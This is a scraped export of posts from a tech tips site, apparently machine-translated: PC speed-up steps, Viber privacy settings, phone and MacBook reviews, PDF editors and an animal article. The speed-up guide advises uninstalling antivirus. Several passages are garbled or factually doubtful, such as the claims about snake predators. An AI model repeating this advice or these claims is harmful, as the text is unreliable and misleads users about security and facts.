of which could be clogging your system.\n  Remove checkmarks next to options as desired, then click 'OK.' For example, disable the feature labeled 'Animate windows when minimizing and maximizing' if you don't wish to see animations when minimizing windows.[2]\n Part 3of 9:\nEnabling Manual Services  Click the Start menu and type 'services' into the search box.\n  Select 'Services' from search results. Windows automatically starts services such as IP Helper and Print Spooler upon startup, even when not needed.\n  Double-click on each service in the Services window and change its Startup Type to 'Manual.' Going forward, these services will only start at your command. Examples of services you can disable are Diagnostic Policy Service, Print Spooler, and Distributed Link Tracking Client.\n Part 4of 9:\nDisabling McAfee  Click the 'Start' menu and select 'Program and Features.'\n  Right-click on the installed McAfee software and select 'Uninstall.' Most Aspire One models come pre-loaded with McAfee antivirus software, which runs in the background at all times to keep your system protected from malware and viruses. Consider installing another security program that consumes fewer resources, or stick to visiting websites you trust to avoid malware and viruses. Disabling McAfee antivirus security software makes your computer more vulnerable to malicious software and third parties.  Part 5of 9:\nTurning Off Sounds  Click the Start menu and type 'sound' into the search box.\n  Click on 'Sound' in search results. This opens the Sounds menu. By default, Windows plays sound effects that use system resources when performing actions such as closing programs and restarting.\n  Click on the 'Sounds' tab, then select 'No Sounds' next to Sound Scheme.\n  Remove the checkmark next to 'Play Windows Startup sound,' then click 'OK.'[3]\n Part 6of 9:\nInstalling More RAM  Click the Start menu and type 'system' into the search box.\n  Select 'System' from search results.\n  Note the value next to 'Installed memory (RAM).' This tells you how much RAM is already installed in your computer.\n  Refer to the user's manual for your Acer Aspire One to determine the maximum amount of RAM it takes. Alternately, visit Acer's official website at http://www.acer.com/ac/en/US/content/drivers to access the manual. For example, if your computer supports up to 3.5 GB RAM and one GB is already installed, you can install 2.5 GB additional RAM.\n  Install extra RAM on your own, or hire a computer technician to install it for you. Following installation, your computer will run faster and more efficiently.[4]\n Part 7of 9:\nInstalling Windows Updates  Click the Start menu and select 'All Programs.'\n  Select 'Windows Update.' This opens the Windows Update menu. Windows automatically installs updates as they become available, unless you disabled this feature at an earlier date.\n  Click 'Check for updates' in the left pane. Windows will search for the newest software updates from Microsoft.\n  Click 'Install updates,' then type the administrator password if prompted. Your computer will download and install available updates.[5]\n Part 8of 9:\nReplacing Outdated Software  Replace slower Internet browsers with Google Chrome. Chrome is currently the fastest browser available on Windows computers, and speeds up loading time. Uninstall Internet Explorer, Safari, Firefox, and other browsers, and start using Chrome.[6]\n  Replace software packages with Web-based applications. Applications that rival Microsoft Office Suite are now available online and free of charge so you can avoid installing extra software. For example, use your search engine to find photo editing software to replace Microsoft Photo Editor, and consider using Google Sheets instead of Microsoft Excel.\n  Replace outdated programs with newer, more lightweight versions. If you've been using programs you installed on your computer several years ago, visit the developer's website to locate newer versions of the same software that consume fewer memory and resources. Alternately, search for similar versions of the same program from other developers and manufacturers. For example, if using antivirus software that consumes too much memory, search for reviews of new antivirus software from another developer that consumes fewer resources.  Part 9of 9:\nRemoving Pre-Installed Bloatware  Click the Start menu and select 'Control Panel.' This opens the Control Panel window.\n  Select 'Uninstall a Program.' This displays a list of all programs installed on your system. Acer Aspire One models come pre-loaded with unneeded programs known as 'bloatware' that cause lagging and slowness.\n  Click on each program you don't use or recognize and select 'Uninstall.' This removes the program from your system.[7]\n  Marvin Fry Update 24 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqugmrKledSpZJqblad6or%2FPoqmeZZ%2Bjsg%3D%3D\n","link":"/post/how-to-speed-up-acer-aspire-one/","section":"post","tags":null,"title":"How to Speed Up Acer Aspire One"},{"body":"Vber is a popular VoIP application in Vietnam, allowing users to text or call for free. Just open 3G or Wifi network, you can enjoy chatting until the phone runs out of battery! Viber's benefits are undeniable, but there are also utilities that inconvenience users.\nHow to create Viber chat groups on Windows Instructions for calling Video Call with Viber on the phone For example, maybe you don't want others to see you online or don't want others to know you've seen the content in the conversation? But do not know how. Please refer to the tutorial below of TipsMake.com offline.\nStep 1 : At Viber screen interface, select More (3 dots icon)\n  Step 2 : Find the Settings section and select Privacy\n   Step 3 : In the Privacy section, you turn off all 3 items\nShare online status : Share online status Send Seen status : Show the status of \"viewed\" when you read the message Share Using App status : Bottle to share application usage status    Above are the steps to hide online status and turn off the viewed status when using Viber on the phone.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZKGhlJp6sLrLoqWeZaOprrXB0mamp2Wmnq%2Bmvg%3D%3D\n","link":"/post/instructions-to-hide-online-status-on-viber/","section":"post","tags":null,"title":"Instructions to hide online status on Viber"},{"body":"Unfortunately, up to this point, the MacBook Pro 2021 launch date has not been confirmed. According to leaked sources, this is definitely the successor to the MacBook Pro M1 worth waiting for in the near future.\nSlim design, better heat dissipation nhiệt Many reports suggest that the MacBook 2021 will have a slimmer, flatter and lighter design than its predecessor. A recent leak also shows that Apple will most likely phase out the 13-inch MacBook Pro with a larger 14-inch version. This promises to bring a more spacious working space for users.\n  Before that, the MacBook Air M1 and MacBook Pro M1 2020 were both designed based on the Intel version. However, the cooling system is still not as good as expected. Therefore, in this new generation of MacBooks, the M1X / M2 chip will be refined and compact by Apple, and other parts are also encapsulated to improve the cooling capacity of the machine.\nPowerful new M1X chip Both the MacBook Air 2021 and MacBook Pro 2021 will be powered by an M1X (or M2) chip with at least 10 graphics cores. Including up to 8 high-performance cores and 2 energy-saving cores. Although it is only 2 cores better than the M1 chip, the performance is very promising because the number of performance cores is twice as high as the M1 (M1 is 4 + 4).\n  Some sources even believe that Apple can create a 16-core chip with 12 high-performance cores and 4 power-saving cores for the 16-inch MacBook Pro. This helps to increase the performance by more than 2 times, ensuring to replace the Intel Core i9-9980 HK on the current 16-inch MacBook Pro.\nLonger battery life, multi-port support The current MacBook models are announced to have a battery life of up to 10 hours, but in fact only 5 hours. Therefore, we can fully expect the MacBook Pro 2021 to have over 10 hours of actual battery life, meeting a working day.\nMany reports also suggest that the legendary MagSafe charging port will return. Therefore, this year's MacBook Pro will have more ports, including HDMI, memory card slot, possibly both USB-A and Thunderbolt.\nIt is expected that both the 2021 MacBook and the 2021 MacBook Pro will be released later this year. Although it may not come with a mini LED screen, but with the above upgrades, it is still a MacBook worth waiting for.\nncG1vNJzZmismaXArq3KnmWcp51kuqKvwaimpGWgp7xufo9raGaZnpl6tbTEZqqeqpmawG67xWasqZ%2BilrGmv4yaqZ5lp6S%2FtbSMrZ%2BeZaeWtrU%3D\n","link":"/post/macbook-pro-2021-and-the-series-of-upgrades-are-worth-the-wait/","section":"post","tags":null,"title":"MacBook Pro 2021 and the series of upgrades are worth the wait"},{"body":"Have you ever wondered what is Samsung Smart View? If the answer is yes, please join us to find out details about this application through the following article.\nNew version of Samsung Smart View for Samsung Smart TV has a simple, beautiful design and support to control TV by phone easily. Today, TipsMake.com will share with you all the things you need to know about this application from features, usage, devices that can use Smart View, . and lots of useful information. other. Please read along.\n1. What is Samsung Smart View? Smart View on Samsung TV is a smart and free application for phones and tablets developed by Samsung, to help these devices connect to Samsung's Smart TV. Smart View has spread many versions, improved and updated with many new features in order to best serve the needs of customers.\n This is the latest interface of Samsung Smart View.\n2. The outstanding feature of Samsung Smart View latest version Samsung Smart View on phones, tablets can connect to Samsung Smart TV models to exploit 2 features:\n- Remote TV control: You can use your phone, tablet to control your TV, replacing the traditional way of controlling before.\n Control your TV with your phone easily.\n- Play content from mobile devices: Smart View allows to connect your mobile device to the TV to share pictures, music, videos from your phone, tablet to TV.\n See your pictures on TV.\n3. Conditions for Smart View to operate on Samsung TVs - For Smart View to operate on Samsung TVs, you first need to download this application to your phone or device that wants to connect to the TV.\nDownload Samsung Smart View for Android. Download Samsung Smart View for iOS. - Make sure devices and TVs are using a common Wi-Fi network.\nHow to connect WiFi to Smart TV 4. How to use Smart View? When downloading and installing the Smart View application to the phone, the tablet succeeds, you perform the following connection operations:\n- Open the Smart View application, the device will proceed to detect and display the connected TV, select the TV you want to connect.\n- Now, on the TV will display a password, you enter the phone will connect successfully.\nInstructions for using iPhone to control Samsung TVs  Just a few simple steps can already be used Samsung Smart View.\n5. Which device can Smart View be used on? In fact, not any TV or external device can be connected via the Smart View application, here are some TV lines as well as devices that can interact through Smart View.\nTV list compatible with Smart View application:\n- Model 2011: LED D7000 TV or above, PDP D8000 or higher.\n- Model 2012: LED ES7500 TV or above, PDP E8000 or higher.\n- Model 2013: LED TV F4500 or higher (except F9000 or higher), PDP F5500 or higher.\n- Model 2014: 2014H4500, H5500 and above (except H6003 / H6103 / H6153 / H6201 / H6203).\n- Model 2015: J4500, J5500 or higher (except J6203).\nPhone, tablet can use Smart View:\n- Phone, tablet Andoid 4.1 and above.\n- iPhone, iPad iOS 7.0 or later version.\nAbove, we have just come together to learn \"all things\" of the information you need to know about Samsung Smart View application, with increasingly outstanding features and perfect certainty that Smart View will meet the needs of people used through TVs and smart devices.\nHope the article is useful to you.\nSee more:\n3 mistakes when turning off the TV almost everyone has How to project YouTube videos from your phone to the TV TV does not access YouTube / Facebook, this is the cause and remedy ncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmJunpal6tK3MrKynn12ouqK%2B02atop2nYq6xvMuimpqsmaS7\n","link":"/post/things-to-know-about-samsung-smart-view-application/","section":"post","tags":null,"title":"Things to know about Samsung Smart View application"},{"body":"There are thousands of reasons that can cause a Mac to crash: It is possible that an application is taking up too much resources, maybe your hard drive has errors, or there may be malware in your computer. EtreCheck is a free program that runs more than 50 diagnostics on a Mac, then provides users with a neat report outlining all these diagnostics - so you know you have to start troubleshooting. where to try\nLink to download EtreCheck for free This is not one of the tools that promise to help 'clean up your Mac'. That is the real diagnosis: It tells the computer problems that are encountered, the potential risks and gives actual fixes. For professional users, the benefits here are immediate and very clear, but even for beginners, this tool is also useful. Sending this report tells acquaintances about information technology. They will know what is going on and possible solutions to solve the problem for you.\nTo get started, download EtreCheck to your computer. That would be a ZIP file. You can extract it on a Mac simply by opening the file. Drag the icon to the Applications folder.\n  When you run the application, you will be asked what your computer is having. Fill in, if you like. Information will not be sent anywhere, but will be included in the report, potentially useful if you plan to send this report to someone good at information technology for help.\nNext, Etrecheck will scan your computer. First it will consider the hardware:\n  Then it will review each software and application:\n  The entire scanning process will take several minutes. You will hear a notification sound when the report is complete and the report will be presented as follows:\n  The report explains all the problems that the computer is having. It starts with a complete and complete summary of your computer with official Apple links to the exact specifications, user manuals and warranty information for your computer.\nScroll down and you will begin to see actual reports. Each section has a bold title, besides you will see an information icon. Click here for a simple explanation of the information you are provided.\n  When you read the report, you will see some red text. Pay attention to these lines, because Etrecheck uses red text to indicate potential problems. For example, the screenshot below shows that the boot drive does not have much free space.\n  This does not cause any problems right now, but the problem may arise in the future. In this case, the user should probably free some space on the Mac. As you can see, users can also read the full SMART report for hard drives from here.\nYou won't know what a lot of information in this report means, even if you're a fairly professional Mac user. For this reason, Etrecheck places a clickable \" Support \" button next to almost every line in the report.\n  Click here, the application will run a web search for the problem in question. In the above case, the problem is a program that the user has installed a few years ago and cannot launch a daemon. It is not a big problem, but it is probably best to remove this and some other corrupted daemons.\nContinue scrolling and you will see all kinds of information. If the computer is running a utility or application that Etrecheck does not recognize, they will also be specified. If your Mac is infected with malware, the malware will be pointed out and the program may even delete the malware. If any hardware fails, it will also be indicated in the report.\nAgain, Etrecheck cannot fix any computer problems that are encountered - in addition to removing malware. All it provides is just information. But if you want to know what's going on with your Mac, this is one of the best tools available for this job.\nSee more:\nOld Mac acceleration runs as fast as when you first bought it with these tips The Mac error displays a blank screen, this is how to fix it ncG1vNJzZmismaXArq3KnmWcp51kwrSxjJ6rq52TnbKkt4ytpmark5a7bq%2FHnpqkZZakv26x0aumq6tdpLtuxc6uqWalkZg%3D\n","link":"/post/use-etrecheck-to-scan-check-for-errors-on-your-mac/","section":"post","tags":null,"title":"Use EtreCheck to scan, check for errors on your Mac"},{"body":"This is considered a\u0026nbsp; phone \u0026nbsp;equipped with 5G cheapest in the moment of\u0026nbsp; Samsung . Now, let's evaluate Galaxy A42 5G in detail right now.\nUnique Samsung Galaxy A42 design with dot effect Samsung retains the same aspect ratio of the Samsung Galaxy A42 5G handset compared to its predecessor, the Samsung Galaxy A41, but the screen of the Samsung Galaxy A42 5G is considerably larger. can be clearly seen when comparing between Galaxy A41 and Galaxy A42 5G in size and weight.\nIf the Galaxy A41 only has a 6.1 inch screen and a weight of 152 g, the screen size Galaxy A42 5G has been upgraded by the manufacturer to 6.6 inches and the weight is also heavier, at 193 g. With this upgrade, the phone has a larger display and a more comfortable grip. In addition to the above different factors, the Samsung Galaxy A42 5G still has a thinly processed screen bezel and a teardrop camera.\n On the back of the phone, Samsung is quite creative when it comes to using the special dot effect. Accordingly, the dorsal part is divided into 4 parts. The top part is completely plain color. While the sections at the bottom have dot patterns of varying intensity. At the same time, when light shines on, the dorsal surface will create a phenomenon of refraction and reflection of seven rainbow colors, which looks quite eye-catching.\u0026nbsp;\n For the Samsung Galaxy A42 5G model, the manufacturer has offered 3 color options, respectively: Prism Dot White, Prism Dot Black and Prism Dot Gray. The machine is machined with a fairly sturdy plastic material, which can protect the phone's internal apparatus from being affected by strong impacts.\n Samsung Galaxy A42 5G camera for 4K video quality \"no joke\" Galaxy A42 5G is equipped with a cluster of four cameras, including a main camera, a wide-angle camera, a macro camera and a depth-of-field camera, supporting portrait photography.\nThe main camera has a resolution of 48 MP, but in fact the Galaxy A42 5G usually only captures 12 MP, so this phone always combines 4 MP into one to increase the performance of light collection. Therefore, in dark, low-light environments, Galaxy A42 5G can confidently handle it well, bringing in highly detailed photos, even in environments with complex lighting conditions.\n Although 48 MP photo resolution is not the default resolution, you can change this property in settings. This way, you will have overall photos that look extremely detailed, and accurate colors and contrast.\n Another quite prominent point in the Samsung Galaxy A42 5G is the main camera that can record 4K video, at a maximum speed of 30 frames per second. You can even switch between wide-angle and standard lenses while recording. The image quality is very good and the autofocus is quite stable.\nThe wide-angle lens and macro lens of the Samsung Galaxy A42 5G are not as excellent in general as in Samsung's high-end products. But at this price point, the images captured from these two cameras are still arguably good.\n In addition to the camera cluster on the back, Samsung Galaxy A42 5G also has an additional selfie camera in the front, with a resolution of 20 MP. With selfies taken with portrait mode from Galaxy A42 5G, you can comfortably sharpen virtual life without worrying about post-production, because the image quality is quite good, with the background blurring. to highlight the main subject.\u0026nbsp;\u0026nbsp;\nSamsung Galaxy A42 stands out with an AMOLED screen The screens on Samsung devices are always appreciated and the Galaxy A42 5G is no exception. Although in the mid-range segment and equipped with the latest 5G technology, Samsung is quite generous when using AMOLED screens for this product.\nAccordingly, this screen has a resolution of 1,600 x 720 pixels, and a scanning frequency of 60 Hz, is still quite enough for today's games, as well as everyday entertainment needs. Screen brightness is also moderate, not too high. With this brightness, you can use it in outdoor environments in not too sunny weather.\n In addition, Samsung Galaxy A42 5G uses fingerprint security hidden behind the screen. According to the review, this fingerprint sensor is very sensitive, helping to unlock the screen in a split second.\nConfigure Samsung Galaxy A42 5G not \"bored\" by any opponent in the price range with \"terrible\" internal memory Samsung Galaxy A42 5G owns a stable configuration with Snapdragon 750G chip. This is an improved chip from Snapdragon 730G with high-performance cores and advanced 5G integration. With this chip, Samsung Galaxy A42 5G will not be bored with any competitor in the same price range in terms of processing performance.\n In terms of graphics performance, Galaxy A42 5G has been improved quite a lot, helping to bring smoother graphic movement compared to Galaxy A41 or Sony Xperia 10 II. When testing open internet browsers, the Samsung Galaxy A42 5G loads very quickly and smoothly, partly thanks to the fact that images on the web are only displayed by scrolling.\nAs for the gaming experience, the Galaxy A42 5G comes with a special gaming chip system, which Qualcomm also promises to update drivers, to adapt to the latest mobile games. Currently, the Galaxy A42 5G can satisfy the need to play simple games at 60 FPS, or high-motion games like PUBG Mobile, which is stable at 40 FPS. Overall, the Galaxy A42 5G is acceptable for gamers with moderate needs.\n Samsung Galaxy A42 5G is equipped with up to 128 GB of internal memory, double the previous generation phone. However, the 4 GB RAM capacity is facing a lot of complaints, because at this price range,\u0026nbsp; Xiaomi \u0026nbsp;has equipped with 6 GB RAM and even\u0026nbsp; OnePlus \u0026nbsp;has equipped with 8 GB RAM.\nSamsung still allows users to use two sims on this device. But, the integration of the second sim slot and the memory card slot together will also make you have to wonder between the need to use two SIM cards at the same time, or the need to expand storage space, which one is important. more important\nSamsung Galaxy A42 5G is equipped with a battery up to 5,000 mAh Obviously at the present time, the bundled charger at only 15W of Samsung Galaxy A42 5G will be quite difficult to please demanding customers. But, Samsung has compensated for this shortcoming by equipping a 5,000 mAh battery. With this battery a user can comfortably use with basic tasks within 2 days.\n Can Samsung Galaxy A42 5G allow 5G anywhere?\u0026nbsp; The highlight right from the name of the Samsung Galaxy A42 5G is the 5G support in a mid-range phone. However, the Galaxy A42 5G doesn't seem to support the fast mmWave frequency. So, with 5G technology equipped, Galaxy A42 5G can use networks below 6 GHz or slower. Hence, this handset is only really suitable for countries in Europe, but if you want to bring this phone to other regions like the US it will have a hard time using 5G.\n In addition, the data upload and download speed of the Galaxy A42 5G is also appreciated! Accordingly, the upload speed is 600 MB / s and the download speed is 150 MB / s.\nsummary With this phone, what impressed me the most was the unique, unmistakable design of the Samsung Galaxy A42 5G. However, with other features such as camera, screen, 5G technology or this pretty \"good\" configuration, I believe that this phone will also bring a good experience for users at a reasonable price. .\nncG1vNJzZmismaXArq3KnmWcp51ktKK4wLGwZplkZ3p2s4ydnK2ZmaGypXnRnq2inadixKmt06xkraCVYrCpscCpnKysXaiurr%2FUp55mbZdivam7zZ5kmq6Rnrmirsue\n","link":"/post/what-s-the-cheapest-samsung-5g-phone-available/","section":"post","tags":null,"title":"What's the cheapest Samsung 5G phone available?"},{"body":"When you enable WSL, Windows installs a custom designed Linux kernel. Then you can install Ubuntu or any other Linux distribution on your PC quickly and safely.\nAfter a long wait, Microsoft has finally officially announced the general availability of the Windows Subsystem for Linux (WSL) application on Windows 11. The tool will now appear as a standalone application within Microsoft. Store for Windows 11 PCs. This preview release of WSL in the Microsoft Store offers a great convenience. Windows users can now get the latest WSL features and updates directly, quickly, without having to upgrade their operating system like before.\n  After completing the current preview features such as GUI application support, GPU computing, and mounting Linux file system drives, instead of updating the entire Windows operating system, or switching to preview builds of Windows Insider, users only need to update the WSL app from the Microsoft Store.\nYou can download Windows Subsystem for Linux from the Microsoft Store HERE. Note that the estimated download size is about 442.16MB.\nVisit the Microsoft Developer Blog to learn more details about this app.\nncG1vNJzZmismaXArq3KnmWcp51kxKq6w6iurGWjqq%2B0xdKtnKZllqS%2FbrjIp6yxZaeouW610malqK9dm7%2BmsYytpmacn6y7rbvAnWSfqp%2BierW0xGakopuipMCwstNmqq2nopp6uLXNnaawq11mfg%3D%3D\n","link":"/post/windows-subsystem-for-linux-wsl-is-now-free-to-download-from-the-microsoft-store-windows-11/","section":"post","tags":null,"title":"Windows Subsystem for Linux (WSL) is now free to download from the Microsoft Store Windows 11"},{"body":"Now when writing a comment on YouTube, you will have the option to share that comment to the Google+ social network, adjust Circle to limit viewers, tag more friends and chat with each other in the same comment. like in Google+ or Facebook.\n  \nThis is a new feature of YouTube linking the comment system ( Comment ) between YouTube and Google+, when you comment on the video, it will automatically upload to your Google+ wall along with the comment you wrote. .\nPreviously, your comments will be in the public mode by default, everyone can see them. Now you can customize only those in the Circle who are allowed to view, publicly view or comment in a traditional way, without sharing via Google+. In addition, YouTube also added a tool to sort comments based on the two most recent comments and comments \"Top\" , ie having the most +1 or reply (Reply) .\nAnd yet, if you are a video uploader, you will be provided with a number of comment management tools such as reviewing comments before posting, locking some non-valid words or allowing the machine to automatically accept comments. Comment on your fans.\nncG1vNJzZmismaXArq3KnmWcp51kxrDB066ZnmWcnrusv4ycpqallaPBtHnTqGSgp5%2BcuaZ51qKroWWdlru6ecaopp1llpqutcHRnqo%3D\n","link":"/post/youtube-links-comments-to-google-with-many-good-features/","section":"post","tags":null,"title":"Youtube links comments to Google+ with many good features"},{"body":"With the special favor of mother nature, these predators are given a valuable 'immune to poison' gift that can kill and eat poisonous snakes without worrying. both.\nThere are 50 venomous snakes, this is the most unique snake on the planet I have the unique venom in the world of snakes, the sea snakes are eating again and again in a moment 1. Hedgehog porcupine - porcupine hedgehog With a high venom immunity (25 times more resistant to human poisoning) and a powerful armor that is full of spiky fur, Hedgehog hedgehogs can kill and eat a poisonous snake.\n  When confronted with poisonous snakes, the hedgehog curled up, ruffled the sharp spikes and attacked and tried to plug its sharp teeth into the snake's neck. But the porcupine must prevent poisonous snakes from biting into the snout otherwise they can die.\n2. Mongoose (Mongoose)   Equipped with thick fur that can resist snake poisons 20 times more than mice, the ability to quickly evade, bite and attack accurately with powerful venom, mongoose becomes the natural enemy of snakes. They can easily kill a 3m cobra snake.\nThe mongoose has a special snake hunting trait, they often 'fascinate' their prey with staring, making the snake immobile and then attacking.\nAlthough it is not possible to completely immunity to venom, but like a honey bee badger, the civet also recovers if it is hit by a snake and eats the snake.\n3. Badger honey (Ratel)   In the natural world, honey badger is famous for being a 'madman', with thick skin, immunity to venom and sharp teeth, they can hunt poisonous snakes even against a lion.\nWith immunity to all types of snake toxins, badger honey is the most feared enemy of poisonous snakes. When hungry, the badger 'honey' devoured a 1.5-meter-long snake in just 15 minutes.\nIf unfortunately the snake bites unconscious, after about 2-3 hours the badger honey can recover and eat the killed snake. The amazing thing is that it also uses the poison of the snake itself to kill another snake.\n4. Kitebird (Secretarybird)   Snakes are the favorite prey of this bird, so they are called snake-eating kites. Do not fly high to find prey like other birds, they often roam the ground to find and attack prey.\nThe bird has an eagle-like body that can spread its wings in the air and long cranes-like legs that are able to resist the prey of the prey. When the prey was discovered, the kite quickly approached and killed the snake with strong and precise kicks.\n5. Eagle (Circaetus)   The eagle is a carnivorous bird and its favorite prey is other birds and snakes, including the most poisonous snakes like the black mamba snakes.\nWhen the snake was discovered, eagles often attacked from above into the snake's head, using their sharp claws to cause injuries. Although there is no immunity to snake venom, the speed of an eagle attack often avoids snakes of snakes.\n6. Snake hunting . snake   Homosexual snakes are not a rare thing. In nature, there are hundreds of snakes that specialize in hunting and eating other snakes.\nIt can be mentioned as king cobra with strong venom that hunts other tigers, poisonous snakes in South America often become prey of snakes Musurana or king snakes in North America even without venom but prey Their likes are deadly poisonous rattlesnakes.\n7. Armadillos Pangolin   Pangolin Armadillos is an anteater with super hard and sharp scales in the animal world. Even if you use a gun to fire the scales of the pangolin, the bullet will be bounced back. Thanks to that advantage, the Armadillos can completely use the hard-edged edge to cut off the snake's body and then eat them.\nncG1vNJzZmismaXArq3KnmWcp51ktq651KecZqyfYr2wtdKopWasmJrApnmWZqernZSWwbC%2B0macmqxdpbyqv86npq6rXai7orfEZqSemaRirrR5xJqqoqSpYq60ecSaq2abkaOxug%3D%3D\n","link":"/post/immune-to-poison-these-7-predators-eat-poisonous-snake-meat-as-easily-as-eat-candy/","section":"post","tags":null,"title":"'Immune to poison' These 7 predators eat poisonous snake meat as easily as ... 'eat candy'"},{"body":"Not easy to find a free PDF editing software that allows you to not only edit text in PDF but also add text, change images or add your own graphics, sign and fill out forms , etc. The following free PDF editing software will let you experience all these features and more.\nSome software in this group allows users to edit PDF files online. They work right in the web browser so all the users have to do is download the PDF file to the web, make the changes you want and then save it to your computer. That's a pretty quick way to do it, but often an online software is not quite as prominent as other software installed directly on the computer.\nBecause not all of these free PDF editing software support the same features and they also have certain limitations for users. Remember that you can handle the same PDF file in many tools. For example, use this software to edit text in PDF files and then use other software to edit forms, update images or delete pages, etc.\nImportant note: If you have Microsoft Word 2016 or 2013 installed, skip all the proposed programs below because you already have an excellent PDF editing software. Just open the PDF as you open any Word document, give it a few minutes to convert the PDF, and then edit it as you like!\n01. Sejda PDF Editor   Sejda PDF Editor is one of the very few PDF editing software that allows users to edit PDF documents without watermark. Most software will only allow editing of additional text, or will support editing existing text but then the watermark will appear everywhere.\nIn addition, this tool can run completely in a web browser, so it's easy to use without downloading any programs. However, you can download the desktop version if you wish.\nAdvantages: It is possible to edit existing text and add custom text Online editing software allows downloading PDF files from other websites Support adding hyperlink Includes an additional signature tool Allows you to insert blank pages into PDF files Can remove pages from PDF files Support to remove blank parts of the page Can insert images and icons into PDF files Defect: Can only be used on three PDF files per hour Limitations for PDF files below 200 pages Do not edit PDF files larger than 50 MB Works with : Windows, macOS and Linux\nLink reference : https://www.sejda.com/pdf-editor\nThere are some differences between the online version and the computer version that you should keep in mind. For example, the computer version supports more fonts and does not allow you to add PDF files by URL or from online storage services such as online editing software (support Dropbox and Google Drive) .\nAnother feature supported by Sejda's PDF editor is a web integration tool that enables PDF creators to provide links to others. Just click to automatically open the file in this online PDF editing software.\nAll uploaded files are automatically deleted from Sejda after five hours.\nTip : Both Sejda's online software and PC version can be used to convert PDF to Word or Word to PDF. Open the Tools section of the program to find the conversion option.\n02. Inkscape   Inkscape is an extremely popular free image viewer and editing software, but it also includes PDF editing functions that most dedicated PDF editing software only support in paid editions.\nAdvantages: Can edit PDF documents Support graphic manipulation Includes lots of image editing tools Defect: The number of graphics editing tools can overwhelm the tool for editing PDF files\nWorks with : Windows, macOS and Linux\nLink to reference : https://inkscape.org/en/\nInscape is a great image editing program but you should probably not use it if you are new to programs like this. It is similar to GIMP, Adobe Photoshop and other image editing software.\nHowever, if used to edit PDFs, Inkscape should only be considered if you want to delete or edit images or text in PDF. You can then use another tool in this list to edit PDF forms or add shapes if needed.\n03. PDFescape Online PDF Editor   PDFescape is an excellent online PDF file editing software with many features. It is 100% free as long as the PDF file to be processed does not exceed 100 pages or 10 MB size.\nAdvantages: Works online via web browser A lot of tools are provided Allows you to add your own text and images Can delete and add PDF pages Defect: Unable to edit existing text Do not edit large PDF files Working with : Any operating system\nLink reference : https://www.pdfescape.com/windows/\nAllowing to edit PDF files on the web does not mean that you can actually change text or edit images, but you can add text, images, links, form fields, etc.\nCustomizable text editing tools. You can choose the size, font type, color, alignment, and make the text bold, underlined, or italic.\nYou can also draw on PDF, add notes, place spaces on whatever you want to make them disappear and insert lines, check marks, arrows, ovals, circles, rectangles and comments.\nPDFescape allows you to delete individual pages from PDFs, rotate pages, crop sections of pages, reorder pages and add other pages from other PDF files.\nYou can upload your own PDF file, paste URL into PDF file online and create your own PDF.\nWhen editing is complete, you can download the PDF file to your computer without creating a user account. You only need to create this account if you want to save documents online without downloading.\nPDFescape has an offline PDF editing feature also called PDFescape Editor, but it is not free.\n04. PDF-XChange Editor   There are some really great PDF editing features in the PDF-XChange Editor, but not all of them can be used for free. If you use the free feature, your PDF document will have a watermark on each page.\nHowever, if you are only interested in free features, you can still edit some files and save them to your computer.\nAdvantages: Use OCR to identify text in PDF files Can import many different shapes and images Support adding QR codes to PDF There is a portable version Defect: Many features require a fee\nWorking with : Windows\nLink reference : https://www.tracker-software.com/product/pdf-xchange-editor\nPDF files can be downloaded from computer, URL, SharePoint, Google Drive or Dropbox. Edited PDF can be saved to your computer or any file storage service.\nPDF-XChange Editor has a lot of features, so it can overwhelm new users. However, you can rest assured because all the options and tools are simple and categorized into separate sections for easier management.\nAn interesting feature is the ability to bookmark all form fields to easily know where you need to fill out information. This is really useful if you are editing PDF files with multiple forms, as a sorting application.\nAlthough there are watermark appear in the free version, this program allows you to edit existing text, add new text to existing PDF file and add or delete pages from the document.\nYou can download this program in mobile mode for use on flash drives or as a regular installer.\nThe best free PDF software on Windows and Mac 05. Smallpdf Online PDF Editor   One of the fastest ways to add images, text, shapes or signatures to PDF is by Smallpdf. This is a website that makes it easy to upload PDF files, make changes, then save them to your computer without having to create user accounts or pay for any features.\nAdvantages: All features are free Allows you to add text to PDF You can put spaces on the areas you want to delete Support import image Can download and save PDF files from various sources Defect: Do not allow you to edit existing text\nWorking with : Any operating system\nLink reference : https://smallpdf.com/edit-pdf\nInstructions for creating a PDF file from multiple image files on Windows 06. FormSwift's Free PDF Editor   FormSwift's Free PDF Editor is a really simple online PDF editing software you can use without creating user accounts.\nDownloading PDF files to the web and using menus at the top of the page to quickly perform some basic PDF editing functions before downloading the computer is simple.\nAdvantages: Everything is free and requires no user accounts Do not leave watermark You can delete or edit existing text and images with white or black spaces Allows you to insert your own images Can add your own custom text to PDF Circle icons, check marks and \"x\" can be placed on any text Support highlighting everything on the page Easily enter, draw or upload your signature Defect: Unable to edit existing text There are no easy-to-access undo buttons (but you can delete what you have done) Only PDF files can be uploaded from the computer (not supported to upload from Google Drive or Dropbox) Working with : Any operating system\nLink reference : https://formswift.com/edit-pdf\nWhen you have finished editing the PDF file, you can download it as a PDF file, print directly with the printer or save the PDF file as a Microsoft Word DOCX document.\nNote: Converting PDF to DOCX does not always work smoothly, but compensates for nicely formatted images and fully editable text.\nAnother feature of FormSwift at formswift.com/snap allows you to quickly edit or sign PDF files from your phone by taking photos of documents. After that, you can share or download the PDF file when done. It's not 100% perfect because almost everything done through a web application is a weakness, but it will still work if you're patient.\nYou can also upload Word documents and images to FormSwift if you need to edit them.\nHow to edit PDF file using FormSwift online 07. PDFelement Pro   PDFelement Pro is a free software but has a huge drawback: there will be a watermark appear on each PDF page. However, it supports some really great PDF editing features.\nAdvantages: Allows direct editing of PDF documents Support adding images, links and custom watermarks The background of PDF pages can be edited Header and footer can be added Support combining multiple PDF files into one file PDF pages can be cut into multiple files OCR support Can insert, extract, delete and rotate PDF pages Help easily edit embedded forms Can use passwords to protect PDF files Defect: The free version has watermark on every page\nWorks with : Windows, macOS, Android and iOS\nLink reference : https://pdf.wondershare.com/download.html\nThis program is a great PDF editing software if no watermark appears on every page in the PDF file.\nHowever, depending on what you need to edit your PDF, the watermark weaknesses may be considered ignored.\nSee more:\n6 methods to convert PDF to JPG, PNG images How to set PDF file password using Adobe Acrobat 2 ways to convert JPG image file to PDF 